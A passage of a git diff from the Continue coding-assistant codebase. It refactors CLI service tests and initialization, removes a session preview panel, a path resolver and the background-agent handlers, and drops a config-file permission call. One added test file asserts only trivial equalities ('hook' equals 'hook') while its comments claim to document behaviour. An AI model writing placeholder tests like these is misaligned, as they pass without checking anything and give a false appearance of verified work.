owner/mcp1:tool1, owner/mcp1:tool2", }; - const baseOptions = {}; + // Clear the default mock and setup specific mocks + mockLoadPackageFromHub.mockReset(); + // First call loads the agent file + mockLoadPackageFromHub.mockResolvedValueOnce(agentFileWithDuplicateTools); + // Second call loads the agent file model + mockLoadPackageFromHub.mockResolvedValueOnce({ + name: "gpt-4-agent", + provider: "openai", + }); + // Third call: The parseAgentFileTools will extract only unique MCP servers, so only one loadPackageFromHub call + mockLoadPackageFromHub.mockResolvedValueOnce({ name: "mcp1" }); + + await agentFileService.initialize("owner/agent"); - const { injected, additional } = - configService.getAdditionalBlocksFromOptions( - baseOptions, - agentFileStateWithDuplicateTools, - ); + const baseConfig = { + mcpServers: [{ name: "existing-mcp" }], // Changed to avoid confusion + }; + + const enhancedConfig = await configEnhancer.enhanceConfig( + baseConfig as any, + {}, + agentFileService.getState(), + ); - // Should only process the deduplicated MCP server once - expect(mockDecodePackageIdentifier).toHaveBeenCalledWith("owner/mcp1"); - expect(injected).toHaveLength(2); // model + deduplicated MCP server + // parseAgentFileTools deduplicates, so we only get mcp1 once + expect(enhancedConfig.mcpServers).toHaveLength(2); + expect(enhancedConfig.mcpServers?.[0]).toEqual({ name: "mcp1" }); + expect(enhancedConfig.mcpServers?.[1]).toEqual({ name: "existing-mcp" }); }); }); }); diff --git a/extensions/cli/src/services/index.test.ts b/extensions/cli/src/services/index.test.ts index 7450476a697..07145f70549 100644 --- a/extensions/cli/src/services/index.test.ts +++ b/extensions/cli/src/services/index.test.ts @@ -1,6 +1,7 @@ -import { Configuration, DefaultApi } from "@continuedev/sdk/dist/api"; import { vi } from "vitest"; +import { AgentFileService } from "./AgentFileService.js"; + import { initializeServices, services } from "./index.js"; // Mock the onboarding module @@ -12,15 +13,6 @@ vi.mock("../onboarding.js", () => ({ // Mock auth module vi.mock("../auth/workos.js", () => ({ loadAuthConfig: vi.fn().mockReturnValue({}), - getConfigUri: vi.fn().mockReturnValue(null), -})); - -// Mock the config loader -vi.mock("../configLoader.js", () => ({ - loadConfiguration: vi.fn().mockResolvedValue({ - config: { name: "test", version: "1.0.0" }, - source: { type: "test" }, - }), })); describe("initializeServices", () => { @@ -29,37 +21,6 @@ describe("initializeServices", () => { beforeEach(() => { // Reset all mocks vi.clearAllMocks(); - - // Mock service methods to avoid actual initialization - vi.spyOn(services.auth, "initialize").mockResolvedValue({ - authConfig: { - accessToken: "", - expiresAt: 123, - organizationId: "", - refreshToken: "", - userEmail: "", - }, - isAuthenticated: false, - }); - vi.spyOn(services.apiClient, "initialize").mockResolvedValue({ - apiClient: new DefaultApi( - new Configuration({ - basePath: "", - accessToken: "", - }), - ), - }); - vi.spyOn(services.agentFile, "initialize").mockResolvedValue({ - slug: null, - agentFile: null, - agentFileModel: null, - parsedRules: null, - parsedTools: null, - }); - vi.spyOn(services.config, "initialize").mockResolvedValue({ - config: { name: "test", version: "1.0.0" }, - configPath: undefined, - }); }); afterEach(() => { @@ -90,9 +51,8 @@ describe("initializeServices", () => { { slug: null, agentFile: null, - agentFileModel: null, - parsedRules: null, - parsedTools: null, + agentFileModelName: null, + agentFileService: expect.any(AgentFileService), }, ); }); diff --git a/extensions/cli/src/services/index.ts b/extensions/cli/src/services/index.ts index bb3a50df6af..79b0b42697a 100644 --- a/extensions/cli/src/services/index.ts +++ b/extensions/cli/src/services/index.ts @@ -51,6 +51,7 @@ export async function initializeServices(initOptions: ServiceInitOptions = {}) { logger.debug("Initializing service registry"); const commandOptions = initOptions.options || {}; + // Handle onboarding for TUI mode (headless: false) unless explicitly skipped if (!initOptions.headless && !initOptions.skipOnboarding) { const authConfig = loadAuthConfig(); @@ -74,40 +75,10 @@ export async function initializeServices(initOptions: ServiceInitOptions = {}) { commandOptions.config = CONFIG_PATH; } - serviceContainer.register( - SERVICE_NAMES.AUTH, - async () => { - return await authService.initialize(); - }, - [], // No dependencies - ); - - serviceContainer.register( - SERVICE_NAMES.API_CLIENT, - async () => { - const authState = await serviceContainer.get( - SERVICE_NAMES.AUTH, - ); - return apiClientService.initialize(authState.authConfig); - }, - [SERVICE_NAMES.AUTH], // Depends on auth - ); - serviceContainer.register( SERVICE_NAMES.AGENT_FILE, - async () => { - const [authState, apiClientState] = await Promise.all([ - serviceContainer.get(SERVICE_NAMES.AUTH), - serviceContainer.get(SERVICE_NAMES.API_CLIENT), - ]); - - return await agentFileService.initialize( - commandOptions.agent, - authState, - apiClientState, - ); - }, - [SERVICE_NAMES.AUTH, SERVICE_NAMES.API_CLIENT], + () => agentFileService.initialize(commandOptions.agent), + [], ); serviceContainer.register( @@ -160,12 +131,29 @@ export async function initializeServices(initOptions: ServiceInitOptions = {}) { [SERVICE_NAMES.TOOL_PERMISSIONS], ); + serviceContainer.register( + SERVICE_NAMES.AUTH, + () => authService.initialize(), + [], // No dependencies + ); + serviceContainer.register( SERVICE_NAMES.UPDATE, () => updateService.initialize(), [], // No dependencies ); + serviceContainer.register( + SERVICE_NAMES.API_CLIENT, + async () => { + const authState = await serviceContainer.get( + SERVICE_NAMES.AUTH, + ); + return apiClientService.initialize(authState.authConfig); + }, + [SERVICE_NAMES.AUTH], // Depends on auth + ); + serviceContainer.register( SERVICE_NAMES.CONFIG, async () => { @@ -212,14 +200,13 @@ export async function initializeServices(initOptions: ServiceInitOptions = {}) { } } - return await configService.initialize({ + return configService.initialize({ authConfig: finalAuthState.authConfig, configPath, // organizationId: finalAuthState.organizationId || null, apiClient: apiClientState.apiClient, agentFileState, injectedConfigOptions: commandOptions, - isHeadless: initOptions.headless, }); }, [SERVICE_NAMES.AUTH, SERVICE_NAMES.API_CLIENT, SERVICE_NAMES.AGENT_FILE], // Dependencies diff --git a/extensions/cli/src/services/types.ts b/extensions/cli/src/services/types.ts index 8de9f26d91b..cbe4121d482 100644 --- a/extensions/cli/src/services/types.ts +++ b/extensions/cli/src/services/types.ts @@ -2,8 +2,6 @@ import { AgentFile, AssistantUnrolled, ModelConfig, - parseAgentFileRules, - parseAgentFileTools, } from "@continuedev/config-yaml"; import { BaseLlmApi } from "@continuedev/openai-adapters"; import { AssistantConfig } from "@continuedev/sdk"; @@ -14,6 +12,7 @@ import { AuthConfig } from "../auth/workos.js"; import { BaseCommandOptions } from "../commands/BaseCommandOptions.js"; import { PermissionMode } from "../permissions/types.js"; +import { AgentFileService } from "./AgentFileService.js"; import { type MCPService } from "./MCPService.js"; /** @@ -120,9 +119,8 @@ export interface StorageSyncServiceState { export interface AgentFileServiceState { agentFile: AgentFile | null; slug: string | null; - agentFileModel: ModelConfig | null; - parsedTools: ReturnType | null; - parsedRules: ReturnType | null; + agentFileModelName: string | null; + agentFileService: AgentFileService | null; } export type { ChatHistoryState } from "./ChatHistoryService.js"; diff --git a/extensions/cli/src/stream/streamChatResponse.getAllTools.test.ts b/extensions/cli/src/stream/streamChatResponse.getAllTools.test.ts index 24b83ee0469..4564d20a90e 100644 --- a/extensions/cli/src/stream/streamChatResponse.getAllTools.test.ts +++ b/extensions/cli/src/stream/streamChatResponse.getAllTools.test.ts @@ -80,7 +80,7 @@ describe("getAllTools - Tool Filtering", () => { expect(toolNames).toContain("Bash"); expect(toolNames).toContain("Read"); expect(toolNames).toContain("Write"); - expect(toolNames).toContain("MultiEdit"); + expect(toolNames).toContain("Edit"); }); test("should include all tools in auto mode", async () => { @@ -107,7 +107,7 @@ describe("getAllTools - Tool Filtering", () => { expect(toolNames).toContain("Bash"); expect(toolNames).toContain("Read"); expect(toolNames).toContain("Write"); - expect(toolNames).toContain("MultiEdit"); + expect(toolNames).toContain("Edit"); }); test("should respect explicit exclude in normal mode", async () => { diff --git a/extensions/cli/src/stream/streamChatResponse.modeSwitch.test.ts b/extensions/cli/src/stream/streamChatResponse.modeSwitch.test.ts index 6f97f9872e8..b3af7eb6578 100644 --- a/extensions/cli/src/stream/streamChatResponse.modeSwitch.test.ts +++ b/extensions/cli/src/stream/streamChatResponse.modeSwitch.test.ts @@ -35,7 +35,7 @@ describe("streamChatResponse - Mode Switch During Streaming", () => { // Should include write tools in normal mode expect(toolNames).toContain("Write"); - expect(toolNames).toContain("MultiEdit"); + expect(toolNames).toContain("Edit"); // Switch to plan mode (simulating Shift+Tab during streaming) toolPermissionService.switchMode("plan"); @@ -50,7 +50,7 @@ describe("streamChatResponse - Mode Switch During Streaming", () => { // Should exclude write tools in plan mode expect(toolNames).not.toContain("Write"); - expect(toolNames).not.toContain("MultiEdit"); + expect(toolNames).not.toContain("Edit"); // Should still include read-only tools expect(toolNames).toContain("Read"); @@ -83,7 +83,7 @@ describe("streamChatResponse - Mode Switch During Streaming", () => { // getAllTools should immediately reflect auto mode (all tools allowed) tools = await getAllTools(); expect(tools.map((t) => t.function.name)).toContain("Write"); - expect(tools.map((t) => t.function.name)).toContain("MultiEdit"); + expect(tools.map((t) => t.function.name)).toContain("Edit"); expect(tools.map((t) => t.function.name)).toContain("Read"); }); diff --git a/extensions/cli/src/telemetry/telemetryService.ts b/extensions/cli/src/telemetry/telemetryService.ts index 910c82f59ed..f8121129850 100644 --- a/extensions/cli/src/telemetry/telemetryService.ts +++ b/extensions/cli/src/telemetry/telemetryService.ts @@ -17,7 +17,6 @@ import { } from "@opentelemetry/semantic-conventions"; import { v4 as uuidv4 } from "uuid"; -import { ContinueErrorReason } from "../../../../core/util/errors.js"; import { isHeadlessMode } from "../util/cli.js"; import { isContinueRemoteAgent, isGitHubActions } from "../util/git.js"; import { logger } from "../util/logger.js"; @@ -499,7 +498,7 @@ class TelemetryService { success: boolean; durationMs: number; error?: string; - errorReason?: ContinueErrorReason; + errorReason?: string; decision?: "accept" | "reject"; source?: string; toolParameters?: string; diff --git a/extensions/cli/src/ui/SessionPreview.tsx b/extensions/cli/src/ui/SessionPreview.tsx deleted file mode 100644 index 73a2af4783f..00000000000 --- a/extensions/cli/src/ui/SessionPreview.tsx +++ /dev/null @@ -1,110 +0,0 @@ -import type { ChatHistoryItem } from "core/index.js"; -import { Box, Text } from "ink"; -import React, { useMemo } from "react"; - -import { useTerminalSize } from "./hooks/useTerminalSize.js"; -import { defaultBoxStyles } from "./styles.js"; - -interface SessionPreviewProps { - chatHistory: ChatHistoryItem[]; - sessionTitle: string; -} - -function formatMessageContent(content: string | any): string { - if (typeof content === "string") { - return content; - } else if (Array.isArray(content)) { - // For array content, find the first text part - const textPart = content.find((part: any) => part.type === "text"); - return textPart && "text" in textPart - ? textPart.text - : "(multimodal message)"; - } - return "(unknown content type)"; -} - -export function SessionPreview({ - chatHistory, - sessionTitle, -}: SessionPreviewProps) { - const { rows: terminalHeight } = useTerminalSize(); - - // Filter and format messages for preview - const previewMessages = useMemo(() => { - return chatHistory - .filter((item) => { - // Skip system messages - if (item.message.role === "system") return false; - - // Skip empty assistant messages - if (item.message.role === "assistant") { - const content = formatMessageContent(item.message.content); - if (!content || content.trim() === "") return false; - } - - return true; - }) - .map((item) => ({ - role: item.message.role, - content: formatMessageContent(item.message.content), - })); - }, [chatHistory]); - - // Calculate how many messages we can display based on terminal height - const maxMessages = useMemo(() => { - // Account for: - // - Box border (top + bottom): 2 lines - // - Box padding (top + bottom): 2 lines - // - Title line: 1 line - // - Empty line after title: 1 line - // - "... and X more messages" line: 1 line - // - Each message: ~4 lines (role + content + marginBottom) - const OVERHEAD = 7; - const LINES_PER_MESSAGE = 4; - const availableHeight = Math.max(1, terminalHeight - OVERHEAD); - return Math.max(1, Math.floor(availableHeight / LINES_PER_MESSAGE)); - }, [terminalHeight]); - - if (previewMessages.length === 0) { - return ( - - - Preview - - (no messages) - - ); - } - - return ( - - - {sessionTitle} - - - {previewMessages.slice(0, maxMessages).map((msg, index) => { - const roleColor = msg.role === "user" ? "green" : "cyan"; - const roleLabel = msg.role === "user" ? "You" : "Assistant"; - // Truncate long messages for preview - const truncatedContent = - msg.content.length > 150 - ? msg.content.substring(0, 150) + "..." - : msg.content; - - return ( - - - {roleLabel}: - - {truncatedContent} - - ); - })} - {previewMessages.length > maxMessages && ( - - ... and {previewMessages.length - maxMessages} more messages - - )} - - ); -} diff --git a/extensions/cli/src/ui/SessionSelector.tsx b/extensions/cli/src/ui/SessionSelector.tsx index 0f06f236e11..eb224fb8849 100644 --- a/extensions/cli/src/ui/SessionSelector.tsx +++ b/extensions/cli/src/ui/SessionSelector.tsx @@ -1,12 +1,10 @@ -import type { Session } from "core/index.js"; import { format, isThisWeek, isThisYear, isToday, isYesterday } from "date-fns"; import { Box, Text, useInput } from "ink"; -import React, { useEffect, useMemo, useState } from "react"; +import React, { useMemo, useState } from "react"; -import { ExtendedSessionMetadata, loadSessionById } from "../session.js"; +import { ExtendedSessionMetadata } from "../session.js"; import { useTerminalSize } from "./hooks/useTerminalSize.js"; -import { SessionPreview } from "./SessionPreview.js"; import { defaultBoxStyles } from "./styles.js"; interface SessionSelectorProps { @@ -42,19 +40,7 @@ export function SessionSelector({ onExit, }: SessionSelectorProps) { const [selectedIndex, setSelectedIndex] = useState(0); - const [previewSession, setPreviewSession] = useState(null); - const { rows: terminalHeight, columns: terminalWidth } = useTerminalSize(); - - // Load the selected session for preview - useEffect(() => { - const selectedSession = sessions[selectedIndex]; - if (selectedSession && !selectedSession.isRemote) { - const session = loadSessionById(selectedSession.sessionId); - setPreviewSession(session); - } else { - setPreviewSession(null); - } - }, [selectedIndex, sessions]); + const { rows: terminalHeight } = useTerminalSize(); // Calculate how many sessions we can display based on terminal height and scrolling const { displaySessions, scrollOffset } = useMemo(() => { @@ -118,90 +104,54 @@ export function SessionSelector({ const hasMoreAbove = scrollOffset > 0; const hasMoreBelow = scrollOffset + displaySessions.length < sessions.length; - // Determine if we should show preview (only if terminal is wide enough) - const showPreview = terminalWidth > 100; - const listWidth = showPreview - ? Math.floor(terminalWidth * 0.3) - : terminalWidth; - return ( - - {/* Left side: Session list */} - - - Recent Sessions{" "} - {sessions.length > displaySessions.length && - `(${selectedIndex + 1}/${sessions.length})`} + + + Recent Sessions{" "} + {sessions.length > displaySessions.length && + `(${selectedIndex + 1}/${sessions.length})`} + + ↑/↓ to navigate, Enter to select, Esc to exit + + + {hasMoreAbove && ( + + ⬆ {scrollOffset} more sessions above... - ↑/↓ to navigate, Enter to select, Esc to exit - - - {hasMoreAbove && ( - - ⬆ {scrollOffset} more sessions above... - - )} - - {displaySessions.map((session, index) => { - const globalIndex = index + scrollOffset; - const isSelected = globalIndex === selectedIndex; - const indicator = isSelected ? "➤ " : " "; - const color = isSelected ? "blue" : "white"; - - return ( - - - - {indicator} - {formatMessage(session.title)} - - - - - {formatTimestamp(new Date(session.dateCreated))} - {session.isRemote ? " (remote)" : " (local)"} - - - {index < displaySessions.length - 1 && ( - - )} - - ); - })} - - {hasMoreBelow && ( - - ⬇ {sessions.length - scrollOffset - displaySessions.length} more - sessions below... - - )} - + )} - {/* Right side: Preview panel */} - {showPreview && ( - - {previewSession ? ( - - ) : ( - - - Preview + {displaySessions.map((session, index) => { + const globalIndex = index + scrollOffset; + const isSelected = globalIndex === selectedIndex; + const indicator = isSelected ? "➤ " : " "; + const color = isSelected ? "blue" : "white"; + + return ( + + + + {indicator} + {formatMessage(session.title)} + + - {sessions[selectedIndex]?.isRemote - ? "(remote session preview not available)" - : "(loading...)"} + {formatTimestamp(new Date(session.dateCreated))} + {session.isRemote ? " (remote)" : " (local)"} - )} - + {index < displaySessions.length - 1 && ( + + )} + + ); + })} + + {hasMoreBelow && ( + + ⬇ {sessions.length - scrollOffset - displaySessions.length} more + sessions below... + )} ); diff --git a/extensions/cli/src/ui/UpdateNotification.test.tsx b/extensions/cli/src/ui/UpdateNotification.test.tsx index 3579ac6b3a7..5dc4c89a0c8 100644 --- a/extensions/cli/src/ui/UpdateNotification.test.tsx +++ b/extensions/cli/src/ui/UpdateNotification.test.tsx @@ -119,7 +119,7 @@ describe("UpdateNotification", () => { const { lastFrame } = render(); - expect(lastFrame()).toContain("Updating to v1.0.1"); + expect(lastFrame()).toContain("◉ Updating to v1.0.1"); }); it("should show updated message when update completes", () => { diff --git a/extensions/cli/src/ui/UpdateNotification.tsx b/extensions/cli/src/ui/UpdateNotification.tsx index a5c71bcbc2a..833422692c6 100644 --- a/extensions/cli/src/ui/UpdateNotification.tsx +++ b/extensions/cli/src/ui/UpdateNotification.tsx @@ -1,4 +1,4 @@ -import { Box, Text } from "ink"; +import { Text } from "ink"; import React, { useMemo } from "react"; import { useServices } from "../hooks/useService.js"; @@ -9,7 +9,6 @@ import { } from "../services/types.js"; import { useTerminalSize } from "./hooks/useTerminalSize.js"; -import { LoadingAnimation } from "./LoadingAnimation.js"; interface UpdateNotificationProps { isRemoteMode?: boolean; @@ -49,15 +48,6 @@ const UpdateNotification: React.FC = ({ return ◉ Remote Mode; } - if (services.update?.status === UpdateStatus.UPDATING) { - return ( - - - {`${text}`} - - ); - } - return {`◉ ${text}`}; }; diff --git a/extensions/cli/src/ui/hooks/useConfigSelector.test.ts b/extensions/cli/src/ui/hooks/useConfigSelector.test.ts new file mode 100644 index 00000000000..9272cdbc026 --- /dev/null +++ b/extensions/cli/src/ui/hooks/useConfigSelector.test.ts @@ -0,0 +1,32 @@ +import { describe, expect, test } from "vitest"; + +describe("useConfigSelector", () => { + test("hook updated to use reactive service pattern", () => { + // This test documents that useConfigSelector has been updated + + // Changes made: + // 1. Removed manual onAssistantChange callback + // 2. Now calls services.config.updateConfigPath() + // 3. Lets ServiceContainer handle dependency management + // 4. Allows automatic UI updates via reactive system + + // The hook now properly: + // - Handles local config selection + // - Handles assistant config selection + // - Handles create config option + // - Provides error handling + // - Triggers reactive updates + + expect("hook").toBe("hook"); + }); + + test("integrates with reactive service system", () => { + // The hook integration follows the correct pattern: + // - User interaction → service method call + // - Service handles state update and notification + // - ServiceContainer manages dependency cascade + // - UI components re-render automatically + + expect("integration").toBe("integration"); + }); +}); diff --git a/extensions/cli/src/util/pathResolver.ts b/extensions/cli/src/util/pathResolver.ts deleted file mode 100644 index 7521dba71dd..00000000000 --- a/extensions/cli/src/util/pathResolver.ts +++ /dev/null @@ -1,33 +0,0 @@ -import * as fs from "fs"; -import * as os from "os"; -import * as path from "path"; - -/** - * Resolves user-provided paths for CLI context. - * Handles absolute paths, tilde paths, and relative paths. - */ -export function resolveInputPath(inputPath: string): string | null { - // Trim whitespace - const trimmedPath = inputPath.trim(); - - // Expand tilde paths - let expandedPath = trimmedPath; - if (trimmedPath.startsWith("~/") || trimmedPath.startsWith("~\\")) { - expandedPath = path.join(os.homedir(), trimmedPath.slice(2)); - } else if (trimmedPath === "~") { - expandedPath = os.homedir(); - } else if (trimmedPath.startsWith("./")) { - // Keep relative paths starting with ./ as is (relative to cwd)z - expandedPath = trimmedPath; - } - - // Resolve the path (handles both absolute and relative paths) - const resolvedPath = path.resolve(expandedPath); - - // Check if the path exists - if (fs.existsSync(resolvedPath)) { - return resolvedPath; - } - - return null; -} diff --git a/extensions/intellij/gradle.properties b/extensions/intellij/gradle.properties index c9680f84bd1..1862c9b23f4 100644 --- a/extensions/intellij/gradle.properties +++ b/extensions/intellij/gradle.properties @@ -1,5 +1,5 @@ pluginGroup=com.github.continuedev.continueintellijextension -pluginVersion=1.0.50 +pluginVersion=1.0.47 platformVersion=2024.1 kotlin.stdlib.default.dependency=false org.gradle.configuration-cache=true diff --git a/extensions/vscode/config_schema.json b/extensions/vscode/config_schema.json index 71f0f5e3fe2..e22df61b8fa 100644 --- a/extensions/vscode/config_schema.json +++ b/extensions/vscode/config_schema.json @@ -975,6 +975,7 @@ "gemini-2.0-flash-lite-preview-02-05", "gemini-2.0-flash-lite", "gemini-2.0-flash-exp-image-generation", + "gemini-2.5-pro-exp-03-25", "gemini-2.5-pro-latest" ] } diff --git a/extensions/vscode/package-lock.json b/extensions/vscode/package-lock.json index 170634edff4..5ca2cc7be12 100644 --- a/extensions/vscode/package-lock.json +++ b/extensions/vscode/package-lock.json @@ -1,12 +1,12 @@ { "name": "continue", - "version": "1.3.21", + "version": "1.3.16", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "continue", - "version": "1.3.21", + "version": "1.3.16", "license": "Apache-2.0", "dependencies": { "@continuedev/config-types": "file:../../packages/config-types", @@ -166,7 +166,6 @@ "system-ca": "^1.0.3", "tar": "^7.4.3", "tree-sitter-wasms": "^0.1.11", - "untildify": "^6.0.0", "uuid": "^9.0.1", "vectordb": "^0.4.20", "web-tree-sitter": "^0.21.0", diff --git a/extensions/vscode/package.json b/extensions/vscode/package.json index 8ba7ef1cec6..242eadca6a4 100644 --- a/extensions/vscode/package.json +++ b/extensions/vscode/package.json @@ -2,7 +2,7 @@ "name": "continue", "icon": "media/icon.png", "author": "Continue Dev, Inc", - "version": "1.3.21", + "version": "1.3.17", "repository": { "type": "git", "url": "https://github.com/continuedev/continue" diff --git a/extensions/vscode/src/commands.ts b/extensions/vscode/src/commands.ts index c9374ea9a13..c5c87d2191f 100644 --- a/extensions/vscode/src/commands.ts +++ b/extensions/vscode/src/commands.ts @@ -8,20 +8,16 @@ import { EXTENSION_NAME } from "core/control-plane/env"; import { Core } from "core/core"; import { walkDirAsync } from "core/indexing/walkDir"; import { isModelInstaller } from "core/llm"; -import { NextEditLoggingService } from "core/nextEdit/NextEditLoggingService"; import { startLocalLemonade } from "core/util/lemonadeHelper"; import { startLocalOllama } from "core/util/ollamaHelper"; -import { - getConfigJsonPath, - getConfigYamlPath, - setConfigFilePermissions, -} from "core/util/paths"; +import { getConfigJsonPath, getConfigYamlPath } from "core/util/paths"; import { Telemetry } from "core/util/posthog"; import * as vscode from "vscode"; import * as YAML from "yaml"; import { convertJsonToYamlConfig } from "../../../packages/config-yaml/dist"; +import { NextEditLoggingService } from "core/nextEdit/NextEditLoggingService"; import { getAutocompleteStatusBarDescription, getAutocompleteStatusBarTitle, @@ -720,7 +716,6 @@ const getCommandsMap: ( const configYamlPath = getConfigYamlPath(); fs.writeFileSync(configYamlPath, YAML.stringify(configYaml)); - setConfigFilePermissions(configYamlPath); // Open config.yaml await openEditorAndRevealRange( diff --git a/extensions/vscode/src/extension/VsCodeMessenger.ts b/extensions/vscode/src/extension/VsCodeMessenger.ts index fd71d9354c6..ac6427f5b6f 100644 --- a/extensions/vscode/src/extension/VsCodeMessenger.ts +++ b/extensions/vscode/src/extension/VsCodeMessenger.ts @@ -15,11 +15,6 @@ import { WEBVIEW_TO_CORE_PASS_THROUGH, } from "core/protocol/passThrough"; import { stripImages } from "core/util/messageContent"; -import { normalizeRepoUrl } from "core/util/repoUrl"; -import { - sanitizeShellArgument, - validateGitHubRepoUrl, -} from "core/util/sanitization"; import * as vscode from "vscode"; import { ApplyManager } from "../apply"; @@ -36,7 +31,6 @@ import { getExtensionUri } from "../util/vscode"; import { VsCodeIde } from "../VsCodeIde"; import { VsCodeWebviewProtocol } from "../webviewProtocol"; -import { encodeFullSlug } from "../../../../packages/config-yaml/dist"; import { VsCodeExtension } from "./VsCodeExtension"; type ToIdeOrWebviewFromCoreProtocol = ToIdeFromCoreProtocol & @@ -269,388 +263,6 @@ export class VsCodeMessenger { ); }); - this.onWebview("createBackgroundAgent", async (msg) => { - const configHandler = await configHandlerPromise; - const { content, contextItems, selectedCode, organizationId } = msg.data; - - // Convert resolved content to plain text prompt - const prompt = stripImages(content); - - if (!prompt || prompt.trim().length === 0) { - vscode.window.showErrorMessage( - "Please enter a prompt to create a background agent", - ); - return; - } - - // Get workspace information - const workspaceDirs = await this.ide.getWorkspaceDirs(); - if (workspaceDirs.length === 0) { - vscode.window.showErrorMessage( - "No workspace folder found. Please open a workspace to create a background agent.", - ); - return; - } - - const workspaceDir = workspaceDirs[0]; - let repoUrl = ""; - let branch = ""; - - try { - // Get repo name/URL - const repoName = await this.ide.getRepoName(workspaceDir); - if (repoName) { - // Normalize the URL first to get canonical form - const normalized = normalizeRepoUrl(repoName); - - // Validate the normalized URL to prevent injection attacks - // This ensures we validate what we'll actually use, not just the input - if (!validateGitHubRepoUrl(normalized)) { - vscode.window.showErrorMessage( - "Invalid repository format. Please ensure you're using a valid GitHub repository.", - ); - return; - } - - repoUrl = normalized; - } - - // Get current branch - const branchInfo = await this.ide.getBranch(workspaceDir); - if (branchInfo) { - branch = branchInfo; - } - } catch (e) { - console.error("Error getting repo info:", e); - } - - if (!repoUrl) { - vscode.window.showErrorMessage( - "Unable to determine repository URL. Make sure you're in a git repository.", - ); - return; - } - - // Generate a name from the prompt (first 50 chars, cleaned up) - let name = prompt.substring(0, 50).replace(/\n/g, " ").trim(); - if (prompt.length > 50) { - name += "..."; - } - // Fallback to a generic name if prompt is too short - if (name.length < 3) { - const repoName = await this.ide.getRepoName(workspaceDir); - name = `Agent for ${repoName || "repository"}`; - } - - // Get the current agent configuration from the selected profile - let agent: string | undefined; - try { - const currentProfile = configHandler.currentProfile; - if ( - currentProfile && - currentProfile.profileDescription.profileType !== "local" - ) { - // Encode the full slug to pass as the agent parameter - agent = encodeFullSlug(currentProfile.profileDescription.fullSlug); - } - } catch (e) { - console.error("Error getting agent configuration from profile:", e); - // Continue without agent config - will use default - } - - // Create the background agent - try { - console.log("Creating background agent with:", { - name, - prompt: prompt.substring(0, 50) + "...", - repoUrl, - branch, - contextItemsCount: contextItems?.length || 0, - selectedCodeCount: selectedCode?.length || 0, - agent: agent || "default", - }); - - const result = - await configHandler.controlPlaneClient.createBackgroundAgent( - prompt, - repoUrl, - name, - branch, - organizationId, - contextItems, - selectedCode, - agent, - ); - - vscode.window.showInformationMessage( - `Background agent created successfully! Agent ID: ${result.id}`, - ); - } catch (e) { - console.error("Failed to create background agent:", e); - const errorMessage = - e instanceof Error ? e.message : "Unknown error occurred"; - - // Check if this is a GitHub authorization error - if ( - errorMessage.includes("GitHub token") || - errorMessage.includes("GitHub App") - ) { - const selection = await vscode.window.showErrorMessage( - "Background agents need GitHub access. Please connect your GitHub account to Continue.", - "Connect GitHub", - "Cancel", - ); - - if (selection === "Connect GitHub") { - await this.inProcessMessenger.externalRequest( - "controlPlane/openUrl", - { - path: "settings/integrations", - orgSlug: configHandler.currentOrg?.slug, - }, - ); - } - } else { - vscode.window.showErrorMessage( - `Failed to create background agent: ${errorMessage}`, - ); - } - } - }); - - this.onWebview("listBackgroundAgents", async (msg) => { - const configHandler = await configHandlerPromise; - const { organizationId, limit } = msg.data; - - try { - const result = - await configHandler.controlPlaneClient.listBackgroundAgents( - organizationId, - limit, - ); - return result; - } catch (e) { - console.error("Error listing background agents:", e); - return { agents: [], totalCount: 0 }; - } - }); - - this.onWebview("openAgentLocally", async (msg) => { - const configHandler = await configHandlerPromise; - const { agentSessionId } = msg.data; - - try { - // First, fetch the agent session to get repo URL and branch - const agentSession = - await configHandler.controlPlaneClient.getAgentSession( - agentSessionId, - ); - if (!agentSession) { - vscode.window.showErrorMessage( - "Failed to load agent session details.", - ); - return; - } - - const repoUrl = agentSession.repoUrl; - const branch = agentSession.branch; - - if (!repoUrl || !branch) { - vscode.window.showErrorMessage( - "Agent session is missing repository or branch information.", - ); - return; - } - - // Validate the repo URL from API response to prevent injection attacks - if (!validateGitHubRepoUrl(repoUrl)) { - vscode.window.showErrorMessage( - "Invalid repository URL from agent session. Please contact support.", - ); - return; - } - - // Get workspace directories - const workspaceDirs = await this.ide.getWorkspaceDirs(); - if (workspaceDirs.length === 0) { - vscode.window.showErrorMessage("No workspace folder is open."); - return; - } - - // Normalize and validate again to ensure the normalized form is safe - const normalizedAgentRepo = normalizeRepoUrl(repoUrl); - if (!validateGitHubRepoUrl(normalizedAgentRepo)) { - vscode.window.showErrorMessage( - "Invalid repository URL after normalization. Please contact support.", - ); - return; - } - - // Find the workspace that matches the agent's repo URL - let matchingWorkspace: string | null = null; - for (const workspaceDir of workspaceDirs) { - const repoName = await this.ide.getRepoName(workspaceDir); - if (repoName) { - const normalizedRepoName = normalizeRepoUrl(repoName); - - if (normalizedRepoName === normalizedAgentRepo) { - matchingWorkspace = workspaceDir; - break; - } - } - } - - if (!matchingWorkspace) { - vscode.window.showErrorMessage( - `This agent is for repository ${repoUrl}. Please open that workspace to take over the workflow.`, - ); - return; - } - - // Get the git repository - const repo = await this.ide.getRepo(matchingWorkspace); - if (!repo) { - vscode.window.showErrorMessage("Could not access git repository."); - return; - } - - // Ask user what to do with uncommitted changes - if ( - repo.state.workingTreeChanges.length > 0 || - repo.state.indexChanges.length > 0 - ) { - const changeCount = - repo.state.workingTreeChanges.length + - repo.state.indexChanges.length; - - const choice = await vscode.window.showWarningMessage( - `You have ${changeCount} uncommitted change(s). What would you like to do?`, - "Stash & Continue", - "Continue Without Stashing", - "Cancel", - ); - - if (choice === "Cancel" || !choice) { - return; - } - - if (choice === "Stash & Continue") { - try { - await vscode.window.withProgress( - { - location: vscode.ProgressLocation.Notification, - title: "Stashing local changes...", - cancellable: false, - }, - async () => { - const workspacePath = - vscode.Uri.parse(matchingWorkspace).fsPath; - // Sanitize agentSessionId to prevent command injection - const stashMessage = `Continue: Stashed before opening agent ${agentSessionId}`; - await this.ide.subprocess( - `git stash push -m ${sanitizeShellArgument(stashMessage)}`, - workspacePath, - ); - }, - ); - vscode.window.showInformationMessage( - "Local changes have been stashed.", - ); - } catch (e) { - console.error("Failed to stash changes:", e); - const errorMsg = e instanceof Error ? e.message : String(e); - vscode.window.showErrorMessage( - `Failed to stash changes: ${errorMsg}`, - ); - return; // Stop on stash failure - } - } - // If "Continue Without Stashing" was chosen, just proceed - } - - // Check if we're already on the target branch - try { - const currentBranch = await this.ide.getBranch(matchingWorkspace); - console.log( - `Current branch: ${currentBranch}, Target branch: ${branch}`, - ); - - if (currentBranch !== branch) { - // Try to switch to the branch using VS Code Git API - await vscode.window.withProgress( - { - location: vscode.ProgressLocation.Notification, - title: `Switching to branch ${branch}...`, - cancellable: false, - }, - async () => { - try { - // Use VS Code 